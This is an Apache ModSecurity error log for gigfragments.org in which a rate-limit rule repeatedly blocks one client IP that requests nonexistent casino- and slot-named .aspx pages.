[Fri Jan 30 19:02:57.190256 2026] [:error] [pid 38686:tid 38707] [client 51.75.118.147:42478] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aXyP4QoE8BAjgw1_sAVUzAAAAdE"]
[Fri Jan 30 19:02:59.460800 2026] [:error] [pid 24712:tid 24762] [client 51.75.118.147:50302] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aXyP44RLQrFiQF3h9-st-QAAAZQ"]
[Fri Jan 30 19:03:01.446474 2026] [:error] [pid 38980:tid 38996] [client 51.75.118.147:50308] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aXyP5bYByxUZEaKXdHqPkAAAAgk"]
[Fri Jan 30 19:03:39.185030 2026] [:error] [pid 24712:tid 24741] [client 51.75.118.147:50316] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aXyQC4RLQrFiQF3h9-suPwAAAYA"]
[Fri Jan 30 19:03:41.216299 2026] [:error] [pid 24681:tid 24700] [client 51.75.118.147:51902] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aXyQDYE368IXQpahn0JuIQAAARE"]
[Fri Jan 30 19:03:43.334062 2026] [:error] [pid 46912:tid 46928] [client 51.75.118.147:51914] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXyQDz6yiVW7A9NwFFnLbAAAAAQ"]
[Fri Jan 30 19:03:45.326216 2026] [:error] [pid 24711:tid 24733] [client 51.75.118.147:51918] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aXyQEa5Gwh4var6T23JxBQAAAVM"]
[Fri Jan 30 19:03:47.213838 2026] [:error] [pid 46912:tid 46947] [client 51.75.118.147:51928] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aXyQEz6yiVW7A9NwFFnLcgAAABc"]
[Fri Jan 30 19:03:49.326611 2026] [:error] [pid 24711:tid 24714] [client 51.75.118.147:35874] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXyQFa5Gwh4var6T23JxCgAAAUA"]
[Fri Jan 30 19:03:51.236237 2026] [:error] [pid 46914:tid 46985] [client 51.75.118.147:35880] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXyQF1gSfJ4kZxNKlb-q-wAAAIc"]
[Fri Jan 30 19:03:53.210845 2026] [:error] [pid 24711:tid 24735] [client 51.75.118.147:35896] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aXyQGa5Gwh4var6T23JxEAAAAVU"]
[Fri Jan 30 19:03:55.133910 2026] [:error] [pid 24711:tid 24714] [client 51.75.118.147:35898] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aXyQG65Gwh4var6T23JxGAAAAUA"]
[Fri Jan 30 19:03:57.118443 2026] [:error] [pid 24712:tid 24753] [client 51.75.118.147:35906] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aXyQHYRLQrFiQF3h9-suVQAAAYw"]
[Fri Jan 30 19:03:59.193500 2026] [:error] [pid 38980:tid 39000] [client 51.75.118.147:33484] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aXyQH7YByxUZEaKXdHqP2gAAAg0"]
[Fri Jan 30 19:04:01.135431 2026] [:error] [pid 47663:tid 47686] [client 51.75.118.147:33496] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aXyQIUHGTrgIKCqEYbWHPgAAAlU"]
[Fri Jan 30 19:04:03.201143 2026] [:error] [pid 38980:tid 38997] [client 51.75.118.147:33510] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXyQI7YByxUZEaKXdHqP4AAAAgo"]
[Fri Jan 30 19:04:05.273618 2026] [:error] [pid 24711:tid 24738] [client 51.75.118.147:33516] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aXyQJa5Gwh4var6T23JxKgAAAVg"]
[Fri Jan 30 19:04:07.425294 2026] [:error] [pid 46913:tid 46953] [client 51.75.118.147:33528] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aXyQJzMWmKL8hOfC3uS8NQAAAEI"]
[Fri Jan 30 19:04:09.508602 2026] [:error] [pid 47021:tid 47047] [client 51.75.118.147:52082] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aXyQKdap1k13UdZUNSQvJAAAANg"]
[Fri Jan 30 19:04:11.574806 2026] [:error] [pid 38686:tid 38690] [client 51.75.118.147:52086] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aXyQKwoE8BAjgw1_sAVU9wAAAcA"]
[Fri Jan 30 19:04:13.637682 2026] [:error] [pid 24681:tid 24684] [client 51.75.118.147:52088] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aXyQLYE368IXQpahn0JuNwAAAQE"]
[Fri Jan 30 19:04:15.754259 2026] [:error] [pid 47663:tid 47684] [client 51.75.118.147:52100] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aXyQL0HGTrgIKCqEYbWHQwAAAlM"]
[Fri Jan 30 19:04:17.666403 2026] [:error] [pid 24712:tid 24754] [client 51.75.118.147:52116] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aXyQMYRLQrFiQF3h9-suaQAAAY0"]
[Fri Jan 30 19:04:19.626663 2026] [:error] [pid 46913:tid 46962] [client 51.75.118.147:34048] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aXyQMzMWmKL8hOfC3uS8RwAAAEs"]
[Fri Jan 30 19:04:21.716150 2026] [:error] [pid 24711:tid 24726] [client 51.75.118.147:34052] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aXyQNa5Gwh4var6T23JxUQAAAUw"]
[Fri Jan 30 19:04:23.800405 2026] [:error] [pid 46912:tid 46930] [client 51.75.118.147:34056] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aXyQNz6yiVW7A9NwFFnLkQAAAAY"]
[Fri Jan 30 19:04:25.752039 2026] [:error] [pid 24681:tid 24693] [client 51.75.118.147:34062] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aXyQOYE368IXQpahn0JuPQAAAQo"]
[Fri Jan 30 19:04:27.711772 2026] [:error] [pid 47663:tid 47684] [client 51.75.118.147:34066] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aXyQO0HGTrgIKCqEYbWHTAAAAlM"]
[Fri Jan 30 19:04:29.636248 2026] [:error] [pid 38980:tid 38991] [client 51.75.118.147:43372] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aXyQPbYByxUZEaKXdHqP9wAAAgQ"]
[Fri Jan 30 19:04:31.864263 2026] [:error] [pid 38980:tid 38997] [client 51.75.118.147:43380] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aXyQP7YByxUZEaKXdHqP-wAAAgo"]
[Fri Jan 30 19:04:33.922513 2026] [:error] [pid 46914:tid 46983] [client 51.75.118.147:43386] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aXyQQVgSfJ4kZxNKlb-rIwAAAIU"]
[Fri Jan 30 19:05:15.112586 2026] [:error] [pid 46914:tid 46986] [client 51.75.118.147:43390] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aXyQa1gSfJ4kZxNKlb-rdAAAAIg"]
[Fri Jan 30 19:05:18.053225 2026] [:error] [pid 24711:tid 24735] [client 51.75.118.147:47244] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aXyQbq5Gwh4var6T23JxogAAAVU"]
[Fri Jan 30 19:05:20.074559 2026] [:error] [pid 38686:tid 38711] [client 51.75.118.147:44128] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXyQcAoE8BAjgw1_sAVVRgAAAdU"]
[Fri Jan 30 19:05:22.611164 2026] [:error] [pid 46912:tid 46947] [client 51.75.118.147:44136] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aXyQcj6yiVW7A9NwFFnLtQAAABc"]
[Fri Jan 30 19:05:26.594699 2026] [:error] [pid 46913:tid 46963] [client 51.75.118.147:44140] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXyQdjMWmKL8hOfC3uS8ewAAAEw"]
[Fri Jan 30 19:05:28.684847 2026] [:error] [pid 46912:tid 46929] [client 51.75.118.147:44142] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aXyQeD6yiVW7A9NwFFnLugAAAAU"]
[Fri Jan 30 19:05:31.021212 2026] [:error] [pid 46912:tid 46931] [client 51.75.118.147:58448] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXyQez6yiVW7A9NwFFnLvAAAAAc"]
[Fri Jan 30 19:05:34.049227 2026] [:error] [pid 47021:tid 47038] [client 51.75.118.147:58462] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aXyQftap1k13UdZUNSQvYwAAAM8"]
[Fri Jan 30 19:05:36.486909 2026] [:error] [pid 24712:tid 24744] [client 51.75.118.147:58464] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aXyQgIRLQrFiQF3h9-su_QAAAYM"]
[Fri Jan 30 19:05:38.830580 2026] [:error] [pid 47663:tid 47673] [client 51.75.118.147:58470] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aXyQgkHGTrgIKCqEYbWHdQAAAkg"]
[Fri Jan 30 19:05:41.259442 2026] [:error] [pid 24681:tid 24684] [client 51.75.118.147:41852] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXyQhYE368IXQpahn0JuYAAAAQE"]
[Fri Jan 30 19:05:43.688388 2026] [:error] [pid 24711:tid 24732] [client 51.75.118.147:41868] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aXyQh65Gwh4var6T23JxuAAAAVI"]
[Fri Jan 30 19:05:45.750249 2026] [:error] [pid 24681:tid 24688] [client 51.75.118.147:41880] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aXyQiYE368IXQpahn0JuZAAAAQU"]
[Fri Jan 30 19:05:48.161119 2026] [:error] [pid 24711:tid 24726] [client 51.75.118.147:41894] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXyQjK5Gwh4var6T23JxwAAAAUw"]
[Fri Jan 30 19:05:50.237113 2026] [:error] [pid 47663:tid 47687] [client 51.75.118.147:36400] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aXyQjkHGTrgIKCqEYbWHgAAAAlY"]
[Fri Jan 30 19:05:52.544193 2026] [:error] [pid 24712:tid 24759] [client 51.75.118.147:36412] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aXyQkIRLQrFiQF3h9-svGQAAAZE"]
[Fri Jan 30 19:05:54.781863 2026] [:error] [pid 24712:tid 24741] [client 51.75.118.147:36414] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXyQkoRLQrFiQF3h9-svGwAAAYA"]
[Fri Jan 30 19:05:57.316428 2026] [:error] [pid 24681:tid 24695] [client 51.75.118.147:36422] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aXyQlYE368IXQpahn0JuagAAAQw"]
[Fri Jan 30 19:05:59.809973 2026] [:error] [pid 38980:tid 39005] [client 51.75.118.147:58842] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aXyQl7YByxUZEaKXdHqQLQAAAhI"]
[Fri Jan 30 19:06:02.156390 2026] [:error] [pid 46912:tid 46922] [client 51.75.118.147:58846] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aXyQmj6yiVW7A9NwFFnLzwAAAAA"]
[Fri Jan 30 19:06:04.672991 2026] [:error] [pid 38980:tid 38999] [client 51.75.118.147:58856] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aXyQnLYByxUZEaKXdHqQLwAAAgw"]
[Fri Jan 30 19:06:07.280053 2026] [:error] [pid 38980:tid 38993] [client 51.75.118.147:58862] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aXyQn7YByxUZEaKXdHqQNQAAAgY"]
[Fri Jan 30 19:06:10.306463 2026] [:error] [pid 24681:tid 24697] [client 51.75.118.147:39142] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aXyQooE368IXQpahn0JucwAAAQ4"]
[Fri Jan 30 19:09:48.854167 2026] [:error] [pid 46912:tid 46944] [client 51.75.118.147:35280] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aXyRfD6yiVW7A9NwFFnMpgAAABQ"]
